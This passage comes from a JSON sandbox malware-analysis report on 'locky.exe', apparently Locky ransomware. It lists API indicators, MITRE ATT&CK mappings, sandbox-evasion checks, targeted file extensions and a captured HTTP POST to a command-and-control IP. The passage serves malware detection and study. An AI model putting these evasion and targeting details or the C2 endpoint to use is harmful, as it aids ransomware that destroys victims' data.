Call","relevance":3,"sources":[{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; File: \"locky.exe\")\n Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; File: \"locky.exe\")","id":"string-191","level":"informative","mitre_attack_id":"T1007","name":"Able to enumerate service (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"\"Z:\\as\\28cxkoao\\azoozykz\\l0t\\jx\\w9y4cni\\jyc6mq3\\mvnt.pdb\"","id":"string-7","level":"informative","name":"Contains PDB pathways","origin":"File/Memory","relevance":1,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"locky.exe\")\n Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; File: \"locky.exe\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00008908-00000C29-4199908839\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-661","level":"informative","mitre_attack_id":"T1497.002","name":"Able to identify virtual environment by using user activity (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\".exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Control\\NetworkProvider\\HwOrder\" (Filter: 4; Subtree: 582144)\n \".exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\Protocol_Catalog9\" (Filter: 1; Subtree: 2816256)\n \".exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\NameSpace_Catalog5\" (Filter: 1; Subtree: 2816256)","id":"api-12","level":"suspicious","mitre_attack_id":"T1012","name":"Monitors specific registry key for changes","origin":"API Call","relevance":4,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-539","level":"informative","mitre_attack_id":"T1071.001","name":"Contains reference to Windows internet services (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Network Related","description":"$27","id":"network-21","level":"malicious","name":"Malicious artifacts seen in the context of a contacted host","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to detect sandbox (imports API)\n Matched sigs: Contains ability to detect virtual environment (API)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)","id":"summary-29","level":"informative","mitre_attack_id":"T1480","name":"Shows ability to use execution guardrails","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-131","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"locky.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-206","level":"informative","mitre_attack_id":"T1059.003","name":"Contains ability to retrieve the command-line string for the current process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"System Destruction","description":"$28","id":"api-25","level":"suspicious","name":"Opens file with deletion access rights","origin":"API Call","relevance":7,"sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"locky.exe\")","id":"string-423","level":"informative","mitre_attack_id":"T1074.001","name":"Contains ability to create directories (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$29","id":"network-60","level":"informative","mitre_attack_id":"T1132","name":"HTTP requests contain Base64 strings","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found GetCursorPos() in an import section (Source: locky.exe)","id":"static-132","level":"informative","mitre_attack_id":"T1497","name":"Contains ability to detect sandbox (imports API)","origin":"Static Parser","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-312","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to retrieve path in which Windows is installed (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Ransomware/Banking","description":"Found reference to a lot of file cls.extensions in file \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\" : .n64\n .m4u\n .m3u\n .mid\n .wma\n .flv\n .3g2\n .mkv\n .3gp\n .mp4\n .mov\n .avi\n .asf\n .mpeg\n .vob\n .mpg\n .wmv\n .fla\n .swf\n .wav\n .mp3\n .qcow2\n .vdi\n .vmdk\n .vmx\n .gpg\n .aes\n .ARC\n .PAQ\n .tbk\n .bak\n .tar\n .tgz\n .rar\n .zip\n .djv\n .djvu\n .svg\n .bmp\n .png\n .gif\n .raw\n .cgm\n .jpeg\n .jpg\n .tif\n .tiff\n .NEF\n .psd\n .cmd\n .bat\n .class\n .jar\n .java\n .asp\n .brd\n .sch\n .dch\n .dip\n .vbs\n .asm\n .pas\n .cpp\n .php\n .ldf","id":"string-52","level":"suspicious","name":"Contains many references to file extensions (often found in ransomware)","origin":"File/Memory","relevance":10,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"$2a","id":"api-176","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to retrieve function addresses","origin":"API Call","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"locky.exe\" called \"IsWow64Process\" with parameter \"8908\" - (UID: 00000000-00008908)","id":"api-146","level":"informative","mitre_attack_id":"T1057","name":"Calls an API typically used to determine if process is running under WOW64","origin":"API Call","relevance":3,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"locky.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000040000004a020000000001000600004f\"}","id":"api-108","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to retrieve information about the current system","origin":"API Call","relevance":3,"sources":[{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"WTSEnumerateSessionsW\" (Indicator: \"WTSEnumerateSessions\"; File: \"locky.exe\")","id":"string-117","level":"informative","mitre_attack_id":"T1049","name":"Contains ability to enumerate logon sessions (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"WNetEnumResourceW\" (Indicator: \"NetEnumResource\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"WNetAddConnection2W\" (Indicator: \"NetAddConnection\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"WNetCloseEnum\" (Indicator: \"NetCloseEnum\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-257","level":"informative","mitre_attack_id":"T1049","name":"Contains ability to enumerate network resources (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"DsRoleGetPrimaryDomainInformation\" (Indicator: \"DsRoleGetPrimaryDomainInformation\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-116","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve state data for the computer (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"\"0d000e00843b026d@IPHLPAPI.DLL\"\n \"0f001000dc3b026d@IPHLPAPI.DLL\"\n \"0c000d00243c026d@IPHLPAPI.DLL\"\n \"140015006c3c026d@IPHLPAPI.DLL\"\n \"0c000d00e03c026d@IPHLPAPI.DLL\"\n \"15001600c02e026d@ADVAPI32.dll\"\n \"0e000f00702f026d@ADVAPI32.dll\"\n \"0e000f00cc2f026d@ADVAPI32.dll\"\n \"11001200b437026d@ADVAPI32.dll\"\n \"110012004838026d@ADVAPI32.dll\"\n \"120013008c38026d@ADVAPI32.dll\"\n \"12001300e438026d@ADVAPI32.dll\"\n \"14001500385e026d@ADVAPI32.dll\"\n \"14001500505e026d@ADVAPI32.dll\"\n \"14001500685e026d@ADVAPI32.dll\"\n \"17001800805e026d@ADVAPI32.dll\"\n \"0d000e00985e026d@ADVAPI32.dll\"\n \"11001200a85e026d@ADVAPI32.dll\"\n \"11001200bc5e026d@ADVAPI32.dll\"\n \"0d000e003439026d@SHELL32.dll\"\n \"0d000e00b039026d@SHELL32.dll\"\n \"0f001000fc5f026d@ADVAPI32.dll\"\n \"140015003c60026d@ADVAPI32.dll\"\n \"140015005460026d@ADVAPI32.dll\"\n \"0c000d009c60026d@ADVAPI32.dll\"","id":"api-8","level":"informative","mitre_attack_id":"T1129","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","origin":"API Call","relevance":1,"sources":[{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetSystemDefaultLangID\" (Indicator: \"GetSystemDefaultLangID\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultLangID\" (Indicator: \"GetUserDefaultLangID\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-143","level":"informative","mitre_attack_id":"T1614.001","name":"Contains ability to retrieve system language (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"\"POST /submit.php HTTP/1.1\nContent-type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3)\nHost: 82.146.37.200\nContent-Length: 100\nConnection: Keep-Alive\nCache-Control: no-cache\"","id":"network-3","level":"informative","mitre_attack_id":"T1071.001","name":"Tries to GET non-existent files from a webserver","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; File: \"locky.exe\")","id":"string-269","level":"informative","mitre_attack_id":"T1564","name":"Contains reference to method used by Windows shell items (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"\"\" read file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\HT36OBW1\\desktop.ini\"\n \"\" read file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\P4SNA2DT\\desktop.ini\"\n \"\" read file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\XNB9XZ8V\\desktop.ini\"\n \"\" read file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\F4S9OCSA\\desktop.ini\"\n \"\" read file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\E9S7QCHY\\desktop.ini\"\n \"\" read file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\QA0UPEJW\\desktop.ini\"\n \"\" read file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\S9Y0GKU4\\desktop.ini\"","id":"api-6","level":"suspicious","name":"Reads configuration files","origin":"API Call","relevance":4,"sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"category":"External Systems","description":"67/72 Antivirus vendors marked sample as malicious (93% detection rate)","id":"avtest-0","level":"malicious","name":"Sample was identified as malicious by at least one Antivirus engine","origin":"External System","relevance":8,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"locky.exe\")\n Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"locky.exe\")","id":"string-167","level":"informative","mitre_attack_id":"T1543","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; File: \"locky.exe\")","id":"string-242","level":"informative","mitre_attack_id":"T1489","name":"Contains ability to close a handle to a service (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-241","level":"informative","mitre_attack_id":"T1105","name":"Contains ability to download a file from a URL (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Network Related","description":"\"locky.exe\" called \"InternetOpenA with parameter Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3)\" (UID: 00000000-00008908)","id":"api-199","level":"informative","mitre_attack_id":"T1071.001","name":"Calls an API used to connect to internet","origin":"API Call","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"ExpandEnvironmentStringsW\" (Indicator: \"ExpandEnvironmentStrings\"; File: \"locky.exe\")\n Found reference to API \"GetMonitorInfoW\" (Indicator: \"GetMonitorInfo\"; File: \"locky.exe\")\n Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-89","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve information about the current system (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"RegCreateKeyExW\n RegCloseKey\n RegDeleteKeyW\n OpenProcessToken\n RegOpenKeyExW\n RegOpenKeyW\n CreateServiceW\n RegEnumKeyExW\n CreateProcessAsUserW\n RegDeleteValueW\n StartServiceW\n GetDriveTypeW\n GetFileAttributesW\n OpenFileMappingW\n UnhandledExceptionFilter\n LoadLibraryExW\n FindResourceExW\n Process32FirstW\n DeviceIoControl\n GetModuleFileNameW\n IsDebuggerPresent\n GetModuleFileNameA\n LoadLibraryExA\n CreateThread\n ExitThread\n CreateToolhelp32Snapshot\n LoadLibraryW\n GetVersionExW\n GetTickCount\n LoadLibraryA\n GetStartupInfoA\n GetFileSize\n OpenProcess\n GetStartupInfoW\n ReadProcessMemory\n CreateDirectoryW\n DeleteFileW\n GetTempFileNameW\n CreateFileMappingW\n WriteFile\n GetFileSizeEx\n FindNextFileW\n FindFirstFileW\n GetProcAddress\n CreateFileW\n VirtualProtectEx\n CreateFileA\n FindResourceW\n Process32NextW\n LockResource\n GetCommandLineW\n MapViewOfFile\n GetModuleHandleA\n GetModuleHandleW\n GetTempPathW\n CreateProcessW\n Sleep\n TerminateProcess\n VirtualAlloc\n GetModuleFileNameExW\n GetWindowThreadProcessId\n GetCursorPos","id":"static-1","level":"suspicious","name":"Imports suspicious APIs","origin":"Static Parser","relevance":1,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Network Related","description":"Found user agent(s): Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)","id":"network-22","level":"suspicious","name":"Uses a User Agent typical for browsers, although no browser was ever launched","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Network Related","description":"$2b","id":"network-31","level":"malicious","mitre_attack_id":"T1016","name":"Detected a large number of ARP broadcast requests (network device lookup)","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}]},{"category":"Network Related","description":"$2c","id":"memorydump-2","level":"informative","mitre_attack_id":"T1071","name":"Found potential URLs in memory dumps","origin":"Memory Dumps","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"System Security","description":"Observed import api \"DeleteService\" which can \"Deregister service in Service Control Manager database\" [Source: locky.exe]","id":"static-188","level":"informative","mitre_attack_id":"T1489","name":"Calls APIs used for Remove Service","origin":"Static Parser","relevance":5,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"locky.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"locky.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-365","level":"informative","mitre_attack_id":"T1029","name":"Contains ability to perform scheduled transfer (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"locky.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00008908)","id":"api-124","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to get product type","origin":"API Call","relevance":3,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Network Related","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","id":"summary-27","level":"informative","mitre_attack_id":"T1119","name":"Shows ability to send encrypted data to the internet","origin":"Indicator Combinations","relevance":2,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"locky.exe\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"locky.exe\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-316","level":"informative","mitre_attack_id":"T1489","name":"Contains ability to terminate a process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"$2d","id":"string-127","level":"informative","mitre_attack_id":"T1071.001","name":"Found user-agent related strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"\"locky.exe\" has an writable section named \".data\"","id":"static-95","level":"informative","name":"PE file contains writable sections","origin":"Static Parser","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"General","description":"\"locky.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","id":"static-146","level":"informative","name":"PE file contains Debug data directory","origin":"Static Parser","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Observed api string:\"CreateToolhelp32Snapshot\" [Source: 49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.bin]","id":"string-85","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to enumerate processes (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"locky.exe\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"locky.exe\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"locky.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-272","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to retrieve/open a process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; File: \"locky.exe\")\n Found reference to API \"RegCreateKeyExA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-307","level":"informative","mitre_attack_id":"T1112","name":"Contains ability to create/load registry keys (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"System Security","description":"$2e","id":"registry-173","level":"informative","mitre_attack_id":"T1007","name":"Queries services related registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"locky.exe\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"locky.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"locky.exe\")","id":"string-183","level":"informative","mitre_attack_id":"T1622","name":"Contains ability to check debugger is running (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"External Systems","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","id":"avtest-8","level":"malicious","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","origin":"External System","relevance":10,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"locky.exe\")\n Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; File: \"locky.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-249","level":"informative","mitre_attack_id":"T1070.006","name":"Contains ability to retrieve file time (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"System Security","description":"$2f","id":"string-114","level":"informative","mitre_attack_id":"T1134.001","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$30","id":"string-207","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to retrieve file and directory information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"\".pst\" (Indicator: \".pst\") in Source: 